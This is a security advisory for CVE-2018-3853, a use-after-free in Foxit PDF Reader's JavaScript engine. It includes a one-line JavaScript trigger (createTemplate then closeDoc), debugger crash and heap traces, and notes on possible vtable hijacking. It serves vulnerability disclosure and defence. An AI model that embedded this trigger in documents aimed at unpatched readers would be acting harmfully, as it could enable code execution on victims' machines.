CVE-2018-3853
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software Foxit PDF Reader version 9.0.1.1049. A specially crafted PDF document can trigger a previously freed object in memory to be reused resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit PDF Reader 9.0.1.1049.
https://www.foxitsoftware.com/products/pdf-reader/
8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use After Free
Foxit PDF Reader is one of the most popular PDF document readers and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature rich PDF reader it supports JavaScript for interactive documents and dynamic forms. JavaScript support posses an additional attack surface. Additionally, Foxit PDF Reader supports XFA or XML Forms Architecture which is a new way of making interactive PDF forms.
Closing the currently active PDF document via JavaScript closeDoc call results in a clean-up of a lot of object. A stale reference to an already freed object can result in a use-after-free condition. If a document tries to create a template, but fails, an object is allocated and freed, but a stale reference to it is kept. When closing the document, this reference is reused, which can lead to memory corruption.
This particular vulnerability lies in combinations of createTemplate and closeDoc methods which trigger a use after free:
app.alert(“alloc and free follow”); this.createTemplate(“temp”); app.alert(“uaf follows”); this.closeDoc(1);
Opening the proof of concept PDF document in Foxit Reader with PageHeap enabled results in the following crash (note that Foxit Reader will pop up a warning that the file is damaged, due to malformed XFA objects, which is of no consequence to triggering the vulnerability):
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=10fcdfd0 ebx=0feecee8 ecx=10fcdfd0 edx=0000000a esi=134fafd0 edi=00000000
eip=02393106 esp=001bdbb4 ebp=001bdbdc iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
FoxitReader!CertFreeCertificateChain+0x8b6d26:
02393106 83790800 cmp dword ptr [ecx+8],0 ds:0023:10fcdfd8=????????
0:000> !heap -p -a ecx
address 10fcdfd0 found in
_DPH_HEAP_ROOT @ 7331000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
11b81bfc: 10fcd000 2000
69db90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
777569d4 ntdll!RtlDebugFreeHeap+0x0000002f
77719e5b ntdll!RtlpFreeHeap+0x0000005d
776e6416 ntdll!RtlFreeHeap+0x00000142
75b9c5f4 kernel32!HeapFree+0x00000014
02e7b1fb FoxitReader!CertFreeCertificateChain+0x0139ee1b
02583ce5 FoxitReader!CertFreeCertificateChain+0x00aa7905
02583c84 FoxitReader!CertFreeCertificateChain+0x00aa78a4
02583f71 FoxitReader!CertFreeCertificateChain+0x00aa7b91
02394e68 FoxitReader!CertFreeCertificateChain+0x008b8a88
0237bf4c FoxitReader!CertFreeCertificateChain+0x0089fb6c
023898b7 FoxitReader!CertFreeCertificateChain+0x008ad4d7
01558c17 FoxitReader+0x00178c17
01558bab FoxitReader+0x00178bab
014aeada FoxitReader+0x000ceada
014b0ae8 FoxitReader+0x000d0ae8
015f79de FoxitReader+0x002179de
015f77ab FoxitReader+0x002177ab
0160698a FoxitReader+0x0022698a
015f13f7 FoxitReader+0x002113f7
015f1218 FoxitReader+0x00211218
02cd24f9 FoxitReader!CertFreeCertificateChain+0x011f6119
02cd63fc FoxitReader!CertFreeCertificateChain+0x011fa01c
02cd648b FoxitReader!CertFreeCertificateChain+0x011fa0ab
75a9c4b7 USER32!InternalCallWinProc+0x00000023
75a9c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
75a94ede USER32!DispatchClientMessage+0x000000cf
75a94f4d USER32!__fnDWORD+0x00000024
776d6bae ntdll!KiUserCallbackDispatcher+0x0000002e
75a95552 USER32!SendMessageW+0x0000007c
015eee15 FoxitReader+0x0020ee15
02cd8172 FoxitReader!CertFreeCertificateChain+0x011fbd92
Analyzing the heap state clearly shows that ecx points into a freed memory region. If we examine the life of the object more closely, by setting breakpoints before and after calls to createTemplate and closeDoc we can observe the following:
address 10fcdfd0 found in
_DPH_HEAP_ROOT @ 7331000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
11b81bfc: 10fcdfd0 30 - 10fcd000 2000
69db8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77756206 ntdll!RtlDebugAllocateHeap+0x00000030
7771a127 ntdll!RtlpAllocateHeap+0x000000c4
776e5950 ntdll!RtlAllocateHeap+0x0000023a
02e7ee12 FoxitReader!CertFreeCertificateChain+0x013a2a32
02583ca5 FoxitReader!CertFreeCertificateChain+0x00aa78c5
02583ad1 FoxitReader!CertFreeCertificateChain+0x00aa76f1
02583f11 FoxitReader!CertFreeCertificateChain+0x00aa7b31
01b69aeb FoxitReader!CertFreeCertificateChain+0x0008d70b
01b6a529 FoxitReader!CertFreeCertificateChain+0x0008e149
017291c8 FoxitReader+0x003491c8
02b26e8e FoxitReader!CertFreeCertificateChain+0x0104aaae
02b1ec76 FoxitReader!CertFreeCertificateChain+0x01042896
02b21023 FoxitReader!CertFreeCertificateChain+0x01044c43
Above shows the object was allocated before a call closeDoc and is being freed during this call. This limits the window of opportunity that a potential attacker has to manipulate the memory and change the contents of the freed heap chunk, but it is
still possible that careful manipulation of the document layout could lead to greater control.
At the time of the crash, pointer pointing to already freed memory is used as this pointer, if contents of this memory are under control, a vtable dereference could result in control flow hijacking and ultimately in arbitrary code execution.
2018-03-05 - Vendor Disclosure
2018-04-19 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.